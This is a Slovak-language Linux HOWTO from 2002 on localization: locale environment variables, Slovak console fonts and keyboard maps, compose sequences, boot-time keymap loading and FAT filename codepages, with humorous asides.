Predstavme si mŕtve znaky ako úplne obyčajné znaky s tým rozdielom, že ovládač klávesnice ich neposiela aplikáciám, ale zostanú niekde „visieť“, kým z klávesnice nepríde ďalší znak. Ovládač klávesnice nepošle ani tento, ale pokúsi sa spojiť ho s predchádzajúcim mŕtvym znakom a až výsledok spojenia pustí ďalej. No, a ako má to spojenie uskutočniť, to mu presne hovoria riadky compose v keymap súboroch.

V nasledujúcej tabuľke je zoznam mŕtvych znakov používaných v slovenčine, spolu s významom a znakom, ktorým sa označujú v compose sekvenciách.

Tabuľka 2. Mŕtve klávesy

Názov | Význam | Compose
dead_acute | dĺžeň | \'
dead_circumflex | mäkčeň | ^
dead_diaeresis | dve bodky nad | "

Postup pri písani compose sekvencií

  1. Každá compose sekvencia sa začína kľúčovým slovom compose.

  2. Nasleduje compose znak mŕtvej klávesy (podľa tabuľky Mŕtve klávesy), napríklad \'.

    Druhý je znak, s ktorým chceme mŕtvu klávesu kombinovať, napríklad A.

    Za kľúčovým slovom to nasleduje výsledok spojenia mŕtvej klávesy a znaku bez diakritiky, teda Á.

Je praktické mať pri vytváraní compose sekvencií zavedený slovenský font, aby ste výsledok mohli hneď kontrolovať. Veľkou pomocou je tiež možnosť príkazu loadkeys čítať zo štandardného vstupu. Napríklad:
sh$ loadkeys
include "/usr/lib/kbd/keymaps/i386/include/windowkeys.map.gz"
keycode 41 = grave asciitilde semicolon dead_diaeresis
compose '"' 'a' to 'ä'
# ukončenie zadávania:  EOF  -  Ctrl-D
sh$

Popis aktuálneho rozloženia kláves môžete uložiť do súboru príkazom
sh$ dumpkeys > subor

Ak nemáte zavedený slovenský popis rozloženia kláves, musíte zadávať tieto znaky ako Alt sekvencie, poprípade vkladať ich hex kódy v tvare 0xed pre í. Výpis znakov aktuálneho fontu spolu s ich hex kódmi vám urobí program

kbd:

showfont

console-tools:

showcfont

Ešte raz naša compose sekvencia a nejaké navyše:
compose '\'' 'A' to 'Á'   # dlhé A cez dĺžeň
compose '^'  'O' to 'Ô'   # O s vokáňom cez mäkčeň
compose '^'  'a' to 'ä'   # široké a cez mäkčeň,
compose '^'  'A' to 0x84  # ...preto nepotrebujeme dead_diaeresis

Mimochodom, v súbore /usr/lib/kbd/keymaps/compose/compose.latin2 máte zoznam compose sekvencií pre normu ISO-8859-2.

3.2.5. Automatické zavádzanie keymap súboru

Na nastavenie rozloženia klávesnice, ktoré chceme zaviesť pri štarte systému, nám slúži súbor /etc/sysconfig/keyboard. Pre Slováka ako repa by mal vyzerať minimálne takto:
KEYTABLE=sk-qwerty     # zavedie rozloženie kláves sk-qwerty
KBCHARSET=iso-8859-2   # ...a spomínaný súbor compose.latin2

Nastavenie klávesnice pri štarte má na starosti skript keytable, ktorý je volaný priamo z rc.sysinit, takže netreba vytvárať linky v adresároch pre runlevel 3/multiuser, prípadne 5/X.

V dokumentácii k initscripts sa píše: „Ak uložíte popis rozloženia kláves (použitím dumpkeys) do súboru /etc/sysconfig/console/default.kmap, zavedie sa pri štarte systému ešte pred pripájaním/kontrolou súborových systémov. To môže byť užitočné, ak potrebujete zadať heslo roota v prípade problémov. Musí to byť ‚dumpnutý‘ popis rozloženia kláves a nie skopírovaný súbor z /usr/lib/kbd/keytables/, pretože tie často ešte vkladajú (include) iné popisy z tejto adresárovej štruktúry.“

Po pripojení súborových systémov, v prípade, že existuje spustiteľný súbor /etc/rc.d/init.d/keytable a adresár /usr/lib/kbd/keymaps/, vykoná sa príkaz
sh# /etc/rc.d/init.d/keytable start

Tento už zavedie popis rozloženia kláves tak, ako to máte určené premennými v súbore /etc/sysconfig/keyboard, preto nemusíte vytvárať odkazy v jednotlivých rc[1-5].d/ adresároch.

To, čo sme si hovorili o zmene fontu pri prihlásení nejakého užívateľa na virtuálnej konzole, sa dá aplikovať aj na rozloženie kláves. Úplne najjednoduchšie riešenie (ktoré sa pri prvom odhlásení pošle do kríkov) je asi takéto:

~/.bash_profile:

if tty 2>/dev/null |grep '/dev/tty[0-9]*$' &>/dev/null && ! [ -f ~/.keymap ]; then
    dumpkeys > ~/.keymap
    loadkeys gr.map
fi

~/.bash_logout:

if tty 2>/dev/null |grep '/dev/tty[0-9]*$' &>/dev/null && [ -f ~/.keymap ]; then
    loadkeys ~/.keymap
    rm -f ~/.keymap
fi

3.3. Zhrnutie nastavení konzoly

Pokiaľ som sa niekde nesekol, tak minimálne v distribúciách RedHat a Mandrake by po týchto zmenách mala do pohody zašlapať slovenská podpora (fonty + klávesnica).

/etc/sysconfig/i18n:

kbd:

SYSFONT=lat2a-16

console-tools:

SYSFONT=lat2u-16
SYSFONTACM=iso02

/etc/sysconfig/keyboard:

KEYTABLE=sk-qwertz
KBCHARSET=iso-8859-2

Tiež, ak zadávate rootovské heslo s použitím iného rozloženia kláves ako je štandardné (us), vložte si jeho popis do súboru /etc/sysconfig/console/default.kmap. Pozor, nesmiete len tak skopírovať súbor, alebo vytvoriť link! Ak chcete použiť napríklad rozloženie sk-qwertz, urobte to takto:
sh$ loadkeys sk-qwertz
sh# dumpkeys >/etc/sysconfig/console/default.kmap

Ak chcete nastaviť slovenský font a klávesnicu len jednorazovo, tieto príkazy by to mali dokázať:

kbd:

sh$ setfont lat2a-16
sh$ loadkeys sk-qwertz

console-tools:

sh$ consolechars -f lat2u-16 -m iso02
sh$ loadkeys sk-qwertz

...a naspäť na štandardné nastavenia:

kbd:

sh$ setfont
sh$ loadkeys -d

console-tools:

sh$ consolechars -d
sh$ loadkeys -d

Predchádzajúci | Domov | Ďalší
Miestne nastavenia |  | Nastavenia X Window Systemu


Slovak-HOWTO

Ján 'judas' Tomka

verzia 4 (Blanka)

16. február 2002

Tento dokument poskytuje informácie týkajúce sa problematiky miestnych nastavení v prostredí operačných systémov GNU/Linux s ohľadom na potreby slovenského užívateľa.

Obsah
1. Úvodné informácie
1.1. Licencia
1.2. Aktuálna verzia a prispievanie
1.3. Osoby a obsadenie
2. Miestne nastavenia
2.1. Princípy miestnych nastavení
2.2. Miestne nastavenia pre Slovensko
2.3. Príklady miestnych nastavení
3. Nastavenia konzoly
3.1. Slovenčina na výstupe textovej konzoly
3.2. Slovenská klávesnica na textovej konzole
3.3. Zhrnutie nastavení konzoly
4. Nastavenia X Window Systemu
4.1. Slovenské fonty v X Window Systeme
4.2. Slovenská klávesnica v X Window Systeme
4.3. Slovenská myš v X Window Systeme
4.4. Príklady
5. Slovenčina a linuxový kernel
5.1. Kompilácia kernelu so slovenskou klávesnicou
5.2. Diakritika v názvoch súborov na FAT partíciách
6. Poslovenčovanie konkrétnych aplikácií
6.1. Bash
6.2. Joe
6.3. Lynx
6.4. Mandrake 8
6.5. Midnight Commander
6.6. Mutt
6.7. Readline
6.8. RPM4
6.9. Rxvt
6.10. Samba
7. Fintičky so slovenčinou
7.1. Zadávanie slovenských znakov vo Vim
7.2. Odstránenie alebo nahradenie diakritiky v textových súboroch
Ďalší
Úvodné informácie


Úvodné informácie

Slovak-HOWTO
Predchádzajúci Ďalší

1. Úvodné informácie

1.1. Licencia

Áno, môžete čítať tento dokument, a to aj na komerčné učely!

Autori nenesú zodpovednosť za materiálnu či psychickú ujmu spôsobenú čitateľovi, jeho rodinným príslušníkom, domácim a hospodárskym zvieratám, prípadne počítačovému zariadeniu.

Toto je „free“ dokument --- môžete ho šíriť a/alebo modifikovať v súlade s podmienkami licencie GNU Free Documentation Licence, ktorej znenie nájdete na adrese http://www.gnu.org/licenses/fdl.html.

Autorom pôvodného Slovak-HOWTO je Ján Ondrej (SAL). Tento dokument z neho obsahuje: názov a návody pre Joe, MC a Sambu. Všetko bolo ukradnuté so súhlasom autora.

1.2. Aktuálna verzia a prispievanie

Ak nájdete v tomto súbore niečo, čo je nezlúčiteľné s vašim linuxovým presvedčením, napíšte najskôr do diskusie linux, potom sk-i18n, dajte príspevok na www.linux.sk a poohovárajte ma na #sklug. V prípade, že vás to neprejde, skontrolujte, či máte aktuálnu verziu a, samozrejme, až nakoniec, dajte mi vedieť. Adresy sú:

  • Aktuálna verzia: http://slovencina.linux.sk/howto

  • Priania, sťažnosti a ponuky na sobáš: judas@linux.sk

Na túto adresu sa tiež obracajte, ak máte niečo, čo by nemalo chýbať v Slovak-HOWTO.

Nadácia Pomôž a skonaj prispela na dopísanie časti o klávesnici v iXoch sama sebe čiastkou 500 000,- Sk, v televízii Pomôž a skonaj i v rovnomennom časopise boli zverejnené inzeráty, politická strana PAS nekompromisne trvá na kompromise a všetci pijú minerálku Pomôž a skonaj. Tigre, nosorožce a lúčne koníky boli pokrstené, a predsa sa s kapitolou o klávesnici v iXoch nič nedeje. Mimochodom, sme najčítanejšie Slovak-HOWTO na svete!

Pri prispievaní sa skúste riadiť nasledovnými pravidlami:

  • Pre tých, ktorí majú vážny záujem podieľať sa na písaní Slovak-HOWTO, je možný CVS prístup priamo k zdrojovým kódom dokumentu na serveri cvs.linuxdoc.org v adresári /cvsroot/LDP/howto/docbook/Slovak-HOWTO/. Bližšie informácie o získaní CVS konta a webovskom rozhraní k CVS serveru nájdete v LDP Autor Guide.

  • Opravy robte vždy vo formáte SGML (DTD DocBook, verzia 4.0), ktorý je primárnym formátom pri tvorbe tohto dokumentu. Je tiež možné posielať čistý text. Príspevky píšte, pokiaľ možno, s diakritikou v norme ISO-8859-2.

  • Ak je to niečo väčšie, dajte mi najskôr vedieť, čo chystáte, pretože je možné, že už na tom niekto maká a teda buď na to zabudnete, alebo to skúsite dorobiť s danou osobou. (Vzhľadom na to, že zatiaľ sa do tohto dokumentu dostalo asi 20 riadkov cudzieho textu, zdá sa mi predchádzajúca veta maximálne smiešna. Ha-ha, zasmial som sa...)

  • Vaše meno a adresa budú automaticky zverejnené spolu s vašim príspevkom. Ak si to neželáte, musíte o to výslovne požiadať. Takisto, autor príspevku už jeho zaslaním implicitne súhlasí s aplikáciou licencie tohto dokumentu na časť, ktorej je autorom.

  • V Czech-HOWTO sa hovorí: „Když už někdo podobný dokument čte, dělá to z nutnosti a ne pro své pobavení.“ Musíme však zobrať do úvahy, že v Čechách je vyššia životná úroveň a oni až toľko srandy nepotrebujú...

1.3. Osoby a obsadenie

Mená autorov návodov na lokalizáciu konkrétnych aplikácií sa nachádzajú priamo v kapitole Poslovenčovanie konkrétnych aplikácií, prípadne Fintičky so slovenčinou.

  • Ján 'judas' Tomka -- Zodpovedný vedúci.

  • Ľubomír 'salo' Sedláčik -- ksh/csh/tcsh, grammar bugfixes.

Predchádzajúci | Domov | Ďalší
Slovak-HOWTO |  | Miestne nastavenia


Slovenčina a linuxový kernel

Slovak-HOWTO
Predchádzajúci Ďalší

5. Slovenčina a linuxový kernel

5.1. Kompilácia kernelu so slovenskou klávesnicou

Je veľmi jednoduché zmeniť rozloženie kláves, s ktorým bude jadro vášho operačného systému skompilované. Ak použijete program loadkeys s voľbou príkazového riadku --mktable <keymapfile>, tento vám vygeneruje „zdrojový kód“ súboru <keymapfile>. Ten uložte do súboru drivers/char/defkeymap.c v adresárovej štruktúre zdrojového kódu Linuxu.
sh# cd /usr/src/linux
sh# loadkeys --mktable sk-qwerty > drivers/char/defkeymap.c

Toto je akási náhrada za /etc/sysconfig/console/default.kmap s tým rozdielom, že vaše rozloženie bude zavedené už od úplného štartu systému. V prípade problémov s initscriptami (alebo štarte zo záchrannej diskety) budete mať zavedené svoje rozloženie v každom prípade. Pozor, nekompilujte si kernel so slovenským rozložením len preto, že žijete na Slovensku! Na to slúži príkaz loadkeys. Použite toto riešenie, len ak bezpodmienečne potrebujete slovenské rozloženie pri zadávaní rootovho hesla alebo tak podobne.

5.2. Diakritika v názvoch súborov na FAT partíciách

Ak chcete pristupovať spod Linuxu na FAT/VFAT oddiely a mať prípadnú diakritiku v názvoch súborov na takýchto partíciách, pri konfigurácii kernelu (pred kompilovaním) zvoľte tieto nastavenia v časti Filesystems->Native Language Support:

CONFIG_NLS_CODEPAGE_852 --- Codepage 852
CONFIG_NLS_ISO8859_2 --- ISO 8859-2 (Latin 2)

Pri pripájaní FAT/VFAT môžete potom uviesť voľbu codepage=852.

Voľba codepage nastavuje kódovú stránku pre prevod znakov krátkych mien na súborových systémoch FAT a VFAT. Implicitne má codepage hodnotu 437.

Predchádzajúci | Domov | Ďalší
Nastavenia X Window Systemu |  | Poslovenčovanie konkrétnych aplikácií


Miestne nastavenia

Slovak-HOWTO
Predchádzajúci Ďalší

2. Miestne nastavenia

2.1. Princípy miestnych nastavení

Podpora miestnych nastavení je dnes mimoriadne dôležitým faktorom, ktorý charakterizuje jednotlivé operačné systémy. Časy, keď boli ľudia štastní, že to niečo píše, sú nenávratne preč a používatelia vyžadujú podporu svojich miestnych nastavení. V GNU systémoch je táto podpora implementovaná priamo do štandardnej knižnice jazyka C -- GNU libc. Táto podpora je navrhnutá tak, aby zohľadňovala všetky požiadavky kladené na nastavenia pre akúkoľvek krajinu a akýkoľvek jazyk.

2.1.1. Ciele a prostriedky

Rôzne krajiny a kultúry majú odlišné pravidlá komunikácie. Tieto pravidlá môžu byť malého rozsahu, napr. formát dátumu a času, až po veľmi koplexné ako je jazyk, ktorým hovoria.

Internacionalizácia softvéru znamená programovať ho tak, aby bol schopný pracovať s použivateľovými miestnymi nastaveniami. V ISO C pracuje internacionalizácia v zmysle locales. Každé locale (miestne nastavenia) špecifikuje skupinu pravidiel, jedno pravidlo pre každý učel. Užívateľ si zvolí skupinu pravidiel špecifikovaním locale (pomocou systémových premenných).

Všetky programy dedia nastavené locale v rámci ich prostredia. Pod podmienkou, že programy sú napísané tak, že akceptujú nastavené locales, môžu sa riadiť pravidlami, ktoré uprednostňuje používateľ.

2.1.2. Kategórie a ich funkcie

Táto časť popisuje jednotlivé premenné, ktoré ovplyvňujú miestne nastavenia a ktorými sa riadia aj funkcie knižnice GNU libc.

Nastavenie premennej prostredia sa robí pomocou príkazu shellu
bash$ export LC_PREMENNA=sk

tcsh$ setenv LC_PREMENNA sk

LC_PREMENNA je jedna z nasledujúcich:

  • LC_COLLATE --- Triedenie reťazcov. Nastavením tejto premennej možno prinútiť aplikácie, napr. sort, ls a iné, aby pri porovnávaní reťazcov brali do úvahy miestne rozloženie jednotlivých písmen v abecede. Slovenčina má napríklad hneď niekoľko znakov, ktoré by pri triedení podľa číselnej hodnoty znaku spôsobovali problémy. Slovenské nastavenia triedenia povedia funkciam strcoll a strxfrm, že napríklad ch je jedno písmeno a nasleduje hneď za h a nie za c, že široké ä nasleduje za dlhým á a to zase za obyčajným a. Skúste si to na príkaze sort. Zadajte písmená cc ch hh, potom zmeňte LC_COLLATE príkazom
    bash$ export LC_COLLATE=sk

tcsh$ setenv LC_COLLATE sk

    Skúste to so sort znovu a porovnajte výsledok...

  • LC_CTYPE --- Klasifikácia a prevod znakov, multibyte. Správne nastavenie tejto premennej je nutné pre korektné rozlišovanie znakov abecedy jednotlivých jazykov, určenie číslic, tzv. bielych znakov, prevod malých písmen na veľké, atď. Najvhodnejšie je túto premennú nenastavovať a tým umožniť, aby bola jej hodnota prebratá od premenných LC_ALL alebo LANG (viď ďalej). Ak ale nechcete používať slovenské nastavenia, len mať správne zobrazené slovenské fonty a funkčnú slovenskú klávesnicu na konzole aj pod iXami, nastavte iba túto premennú.

    Varovanie

    Vždy si buďte stopercentne istí, že máte túto premennú nastavenú (buď cez LC_ALL, LANG alebo priamo), lebo inak nemá zmysel čítať ďalej! Ono „klasifikácia a prevod znakov“ neznie nejako lákavo, ale vedzte, že je to sakramentsky dôležité pre život slovenských písmeniek vo vašom Linuxe!

  • LC_MONETARY, LC_NUMERIC --- Formát peňažných a číselných hodnôt. Umožňuje meniť skupinu nastavení, ktoré sa použijú pri formátovaní peňažných hodnôt alebo všetkých ostatných číselných hodnôt. Sú to desatinná čiarka, oddeľovač tisícov, zoskupovanie číslic, znamienka pre kladné a zaporné hodnoty, atď.

  • LC_TIME --- Formátovanie dátumu a času. Nastavenia oddeľovačov medzi hodinami, minútami a sekundami, názvy dní, poradie rok, mesiac a deň v dátume, ...

  • LC_MESSAGES --- Výber jazyka, použitého užívateľským rozhraním na preklad hlášok programov. Toto je presne tá premenná, ktorá prinúti aplikácie hovoriť po slovensky. Viď ďalšie kapitoly.

S prekladom hlásení programov, hlavne s umiestnením súborov s preloženými reťazcami, súvisí premenná NLSPATH. Mala by obsahovať dvojbodkami oddelený zoznam adresárov, v ktorých sa budú hľadať .mo súbory pre miestne nastavenia dané premennou LC_MESSAGES. Premennú NLSPATH je však potrebné nastavovať len vo výnimočných prípadoch, pretože aplikácie hľadajú preklady svojich hlásení v štandardných adresároch pre tieto súbory.

Okrem týchto premenných bolo implementovaných niekoľko ďalších, ktoré zatiaľ nie sú zdokumentované (The GNU C Library Reference Manual). Ich význam je zrejmý z názvu, takže uvediem aj svoju dedukciu.

  • LC_PAPER --- Formát papiera. V našich zemepisných šírkach sa napríklad používa formát A4, v Amerike je to Letter, atď. Pozor, táto premenná neobsahuje priamo názov formátu, ale (tak, ako všetky LC_ premenné), skratku miestneho nastavenia, teda u nás to bude sk. Ak by sme chceli používať formát Letter, museli by sme túto premennú nastaviť na kód miestneho nastavenia niektorej z krajín, ktorá používa takýto formát, napríklad us. V tomto prípade je nutné nainštalovať balík s miestnymi nastaveniami pre túto krajinu (locales-us).

  • LC_NAME --- Formát mena a priezviska. U nás má každý dve mená, píšu sa v poradí meno, priezvisko. V Rusku majú zase tri mená v poradí meno, otcovo-meno, priezvisko. V Maďarsku majú dve mená tak ako u nás, ale píšu sa v opačnom poradí. O tom je táto premenná. Asi...

  • LC_ADDRESS --- Spôsob zápisu adresy. Poradie ulice a popisného čísla domu, ZIP kód, PSČ apod.

  • LC_TELEPHONE --- Formát telefónnych a faxových čísel. Určuje zoskupovanie číslic, ich oddelovanie, počet čísel predvoľby, ...

  • LC_MEASUREMENT --- Miery. Jednotky hmotnosti, objemu, teploty a dĺžky, používané v tej ktorej krajine. Program napísaný v USA bude pravdepodobne počítať s galónmi vody, ale ak je správne napísaný, s premennou LC_MEASUREMENT nastavenou na „sk“ bude zobrazovať litre v správnom pomere. To isté platí napríklad pre prevod teploty vo Fahrenheitovej stupnici na stupne Celsia.

  • LC_IDENTIFICATION --- Az apád, tak toto neviem. Rodné číslo? Číslo sociálneho poistenia? Číslo topánok?

2.1.3. Ďalšie premenné

  • LC_ALL --- Ak je táto premenná nastavená, použije sa jej hodnota pre všetky vyššie spomenuté skupiny locales, bez ohľadu na hodnotu príslušných premenných.

  • LANG --- Hodnota tejto premennej sa použije pre tie skupiny locales, ktoré nemajú príslušnú premennú nastavenú.

  • LANGUAGE --- Alternatívne miestne nastavenia. Táto premenná môže obsahovať usporiadaný zoznam kódov miestnych nastavení oddelených dvojbodkami. Súbory s prekladmi hlášok programov sa budú hľadať v poradí, v akom sú určené v tomto zozname. Ak sa nepodarí nájsť súbor s preloženými hláškami programu v jednom jazyku, použije sa súbor pre nasledujúci jazyk v zozname LANGUAGE. Navyše, ak sa súbor pre prvý jazyk aj nájde, ale niektorý reťazec z neho nie je preložený, nepoužije sa pôvodný (anglický), ale najskôr sa pokúsi nájsť preklad daného reťazca v súbore pre ďalší jazyk v zozname LANGUAGE. To je výhodné pre ľudí, ktorí okrem svojho jazyka ovládajú nejaký iný lepšie ako angličtinu, v ktorej sú zvyčajne programy originálne napísané. Napríklad Slovák by mohol mať nastavené LANGUAGE="sk:cz" a Szolvák z Komárom zase LANGUAGE="hu:sk".

    Výstraha

    Premenná LANGUAGE ovplyvňuje len premennú LC_MESSAGES! Pre správnu funkciu je nutné nastaviť aj ostatné premenné (minimálne LC_CTYPE).

  • LINGUAS --- Táto premenná nemá špeciálny význam z hľadiska GNU libc, ale zvykne sa používať pri inštalácii programov (zo zdrojákov). Medzerami oddelený zoznam kódov miestnych nastavení určuje jazyky, pre ktoré si užívateľ želá inštalovať preklady reťazcov aplikácie. Príklad:
    bash$ export LINGUAS="sk cz"
bash$ ./configure
bash$ make install

    Tieto príkazy skompilujú a nainštalujú aplikáciu s podporou slovenčiny a češtiny. Inštalačné skripty obvykle tiež kontrolujú obsah premenných LANG a LC_ALL, tieto ale môžu obsahovať len jeden kód miestnych nastavení.

  • RPM_INSTALL_LANG --- Častejšie ako zo zdrojového kódu sa aplikácie inštalujú z rôznych balíkov (rpm, deb, ...). Kvôli šetreniu miestom na disku (a logike -- málokto ovláda tridsať rečí) je v RPM4 možné určiť jazyk, ktorého preložené hlášky sa budú inštalovať. Preto odporúčam do súboru .bash_profile (.login) užívateľa, ktorý inštaluje balíky (root), vložiť nasledovný riadok:
    bash$ export RPM_INSTALL_LANG=sk

tcsh$ setenv RPM_INSTALL_LANG "sk"

    Ak sa vám nebodaj stane taká vec, že nainštalujete celý operačný systém a až potom sa dozviete o tejto premennej (tak, ako sa to stalo aj mne), skúste skript uvedený v časti RPM4.

2.1.4. Priorita premenných

Miestne nastavenia sa určujú zo spomenutých premenných, pričom tieto sa vyhodnocujú v tomto poradí:

LANGUAGE --- ovplyvňuje len LC_MESSAGES
LC_ALL
LC_*
LANG

To znamená asi toľko, že keď raz nastavíte LC_ALL, jednotlivé premenné LC_* sa už neberú do úvahy. Na druhej strane, ak máte napríklad nastavené len niektoré z LC_*, ostatné sa nastavia na hodnotu premennej LANG.

2.1.5. Kódy miestnych nastavení

Premenné, ktoré ovplyvňujú miestne nastavenia, sa napĺňajú kódmi miestnych nastavení. Kódy miestnych nastavení sú reťazce, ktorých formát sa riadi niekoľkými pravidlami. Všeobecný tvar je:
jazyk[_územie[.kódovanie]][@modifikátor]

jazyk je napr. sk pre slovenčinu, cs pre češtinu, hu pre maďarčinu, územie je SK pre Slovensko, CZ pre Českú republiku, HU pre Maďarsko, kódovanie je ISO-8859-2 pre všetky stredoeurópske jazyky (je možne použiť niekoľko formátov na zadanie kódovania) a modifikátor služi na povolenie alebo zakázanie niektorých funkcií. Tie sú dané v definíciach miestnych nastavení. Napríklad, pre Veľkú Britániu je modifikátorom reťazec euro a pri jeho použití sa ako peňažná mena bude používať euro namiesto libry. To znamená, že sa musí použiť kódovanie iso-8859-15, ktoré definuje znaky euro a cent.

Príklady kódov miestnych nastavení (každý z týchto reťazcov je možné priradiť premenným miestnych nastavení, ale najčastejšie sa používajú len dvojpísmenkové skratky v poslednom stĺpci):

Tabuľka 1. Príklady kódov miestnych nastavení

sk_SK.ISO-8859-2 | sk_SK |  | sk
cs_CZ.ISO-8859-2 | cs_CZ@-ch | cs@-ch | cs
en_GB.iso8859 | en_GB | en@euro | en
ja_JP.ujis | ja_JP.EUC | ja_JP | ja

Nemali by sme zabudnúť na dve štandardné locales, ktoré sa použijú, ak nie sú systémové premenné nastavené a programy ich používajú do doby, kým sa inicializuje lokalizácia. Tvrdím, že sa použijú obe, pretože momentálne sú totožné, ale v budúcnosti sa môžu v tejto oblasti štandardy ISO C a POSIX odlišovať a potom to bude záležať na konfigurácii systému.

C --- nastavenia podľa štandardu ISO C.
POSIX --- nastavenia podľa štandardu POSIX. V súčasnosti je to alias pre nastavenia C.

2.2. Miestne nastavenia pre Slovensko

V prvom rade treba nainštalovať balík s podporou miestnych nastavení, ktorý má názov locales a tiež balík s podporou priamo pre Slovensko --- locales-sk. Ak máte záujem používať aj podporu pre nejaký iný jazyk (na našom území je aktuálna najmä čeština a maďarčina), musíte tiež nainštalovať balíky pre tieto jazyky.

V druhom rade si musíte nainštalovať balíky s podporou miestnych nastavení a priamo slovenčiny (sú to locales a locales-sk).

V ďalšom kroku si nezabudnite nainštalovať balíky locales a locales-sk. Takisto, pre každý jazyk, ktorý sa chystáte používať, si nainštalujte balík s podporou miestnych nastavení.

V prípade problémov s miestnymi nastaveniami sa držte predchádzajúcich troch krokov.

2.2.1. Súbory s miestnymi nastaveniami

Prejdime sa teraz trochu po našich adresároch. Prvý navštívime /usr/share/locale/sk. Na prvý pohľad vidno, že adresár a súbory v tomto adresári majú mená totožné s premennými, pomocou ktorých sa nastavujú jednotlivé kategórie miestnych nastavení. Je to preto, lebo práve z týchto súborov sa načítajú nastavenia, keď je daná premenná nastavená na hodnotu sk. Okrem nich tu môže byť ešte súbor charset, ktorý obsahuje len jeden riadok s reťazcom iso-8859-2. Ten hovorí, aké kódovanie znakov sa má použiť pre dané miestne nastavenia.

Všetky súbory v tomto adresári sú binárne dáta a adresár LC_MESSAGES obsahuje súbory, ktorých mená sú totožné s názvami niektorých balíkov nainštalovaných na vašom systéme, s príponou mo. Sú to preklady reťazcov z jednotlivých aplikácií. O nich si povieme neskôr. Teraz by sme mohli zistiť, čo vlastne obsahujú súbory LC_*.

Presuňme sa do adresára /usr/share/i18n/. Tu, v textovom súbore sk_SK v podadresári locales/ sa konečne nachádzajú slovenské miestne nastavenia v čitateľnej (a editovateľnej) forme. Súbory v tomto adresári majú presne danú štruktúru, ktorá je popísaná v manuálovej stránke locale(5). Pre bežného používateľa nemá zmysel meniť nastavenia v tomto súbore, keďže ide o štandardné nastavenia, ktoré sa používajú na celom Slovensku. Ale, proti Gustovi žiadna putika! Ak sa teda rozhodnete zmeniť niečo v tomto súbore, musíte aktualizovať súbory v prvom spomínanom adresári /usr/share/locales/sk/ príkazom, ktorý údaje v súbore sk_SK skompiluje a uloží do súborov LC_COLLATE, LC_CTYPE, ...
sh$ localedef -i sk_SK -f ISO-8859-2 sk_SK

V podadresári /usr/share/i18n/charmaps/ sa nachádzajú súbory s popismi jednotlivých kódovani znakov. Pre Slovensko je aktuálny ISO-8859-2 (čo je aj obsah spomínaneho súboru charset).

V adresári /usr/share/locale/ sa nachádza súbor locale.alias, ktorý definuje tzv. aliasy pre kódy miestnych nastavení. Pre správnu funkciu slovenských miestnych nastavení by mal obsahovať tieto dva riadky:
sk              sk_SK.ISO-8859-2
slovak          sk_SK.ISO-8859-2

To zabezpečí, že aj keď nezadáte kódovanie znakov, bude použité iso-8859-2. Druhý riadok má na svedomí to, že namiesto sk možno zadať slovak.

Varovanie

Ale na aliasy typu slovak si dávajte bacha! Niektoré aplikácie, ktoré v súvislosti s miestnymi nastaveniami nevyužívajú služby libc, totiž na aliasy kašľú a zaujímajú ich len prvé dva znaky nastavených premenných. A tak sa zo slovak stane sl, čo je Slovinsko. Pozitívne je, že pre slovenčinu môžete nastaviť premennú napríklad na hodnotu skaderukaskadenoha.

2.2.2. Konfigurácia miestnych nastavení

Nastavenia internacionalizácie sa (v RedHat a Mandrake) nachádzajú v súbore /etc/sysconfig/i18n. Je to veľmi užitočný súbor, ktorý si rýchlo obľúbite. Možno v ňom nastaviť všetko, čo sa kedy týkalo internacionalizácie, národných fontov a rozložení kláves. Tento súbor však len definuje systémové premenné a zvykne sa vkladať (source /etc/sysconfig/i18n) do inicializačných skriptov. Exportovanie premenných (odovzdanie ostatným aplikáciám) má na starosti skript /etc/profile.d/lang.sh (bash) alebo /etc/profile.d/lang.csh (tcsh). Tento sa vykoná pri každom štarte shellu, typicky je volaný z /etc/profile (bash) alebo /etc/csh.cshrc (tcsh).

Súbor /etc/sysconfig/i18n definuje nastavenia pre celý systém. Tieto sa použijú, ak sa nenájde súbor s užívateľovými nastaveniami. Každý užívateľ si môže určiť svoje vlastné nastavenia v súbore .i18n v jeho domovskom adresári. Nastavenia sa vždy čítajú len z jedného z týchto súborov, teda ak má užívateľ svoj vlastný súbor ˜/.i18n, nastavenia zo súboru /etc/sysconfig/i18n sa ignorujú.

Užívateľ si môže zmeniť nastavenia aj ručne, kedykoľvek sa mu zachce, nastavením premenných prostredia LC_MESSAGES, LANG, atď.

Vypnúť nejaké nastavenie je možné príkazom
sh$ unset LC_MESSAGES LANG

Tým sa zrušia nastavenia daných premenných (a použije sa štandardné locale C alebo POSIX).

Ak máte napríklad nastavené premenné LC_ALL=sk a LC_MESSAGES=cz, tak po príkaze unset LC_ALL nebudete mať hlásenia programov v angličtine, ale češtine. Preto, ak chcete vypnúť nejaké nastavenia, vždy musíte príkazom unset zrušiť nastavenia všetkých premenných, ktoré môžu ovplyvňovať dané miestne nastavenia.

Poznámka export/setenv

Neodpustím si malú poznámku k príkazu export. Je to vstavaná funkcia všetkých shellov kompatibilných s klasickým sh (teda aj bash). Pre shelly typu tcsh je ekvivalentom príkaz setenv.

Je dôležité uvedomiť si, čo presne tento príkaz robí s premennými. V dokumentácii k bashu sa hovorí, že export označí premennú, aby bola odovzdaná detským (child) procesom v rámci prostredia (environment). To znamená asi toľko, že keď spustíte napr. iXy z materského procesu bash, ktorý pri štarte exportoval premennú LANG=sk, všetky aplikácie v prostredí X Window System budú dediť toto nastavenie a teda (ak to sami podporujú) budú fungovať po slovensky. Ak budete chcieť spustiť aplikáciu bez slovenských nastavení, musíte v xterme zadať príkaz unset LANG (unsetenv LANG pre tcsh), čím pre všetky detské procesy xtermu (presnejšie shellu, ktorý je v ňom spustený), zrušíte nastavenie premennej LANG. Potom aplikácie spustené priamo z tohto xtermu budú fungovať bez podpory slovenčiny. Trochu sa s tým pohrajte.

2.2.3. Nastavenie časovej zóny

S miestnymi nastaveniami úzko súvisí aj nastavenie časovej zóny. Vedel by som o tom rozprávať celé hodiny, ale ono by to muselo byť zložitejšie ako len nastavenie jednej premennej... A to takto:
bash$ export TZ="Europe/Bratislava"

tcsh$ setenv TZ "Europe/Bratislava"

Toto nastavenie ovplyvňuje len časový posun oproti hardverovým hodinám. (Mimochodom, odporúčam hardverové hodiny nastavené na greenwichský svetový čas, čím tiež odpadajú problémy s prechodom medzi letným a zimným časom atď. ale o tom sú popísané iné súbory.) Toto celé je dosť dobrá vec, hlavne ak mate prístup k počítaču v inej časovej zóne, ale chcete pracovať s časom v stredoeurópskej zóne. Do svojho súboru .bash_profile (.login pre tcsh) vložte vyššie uvedený riadok.

2.3. Príklady miestnych nastavení

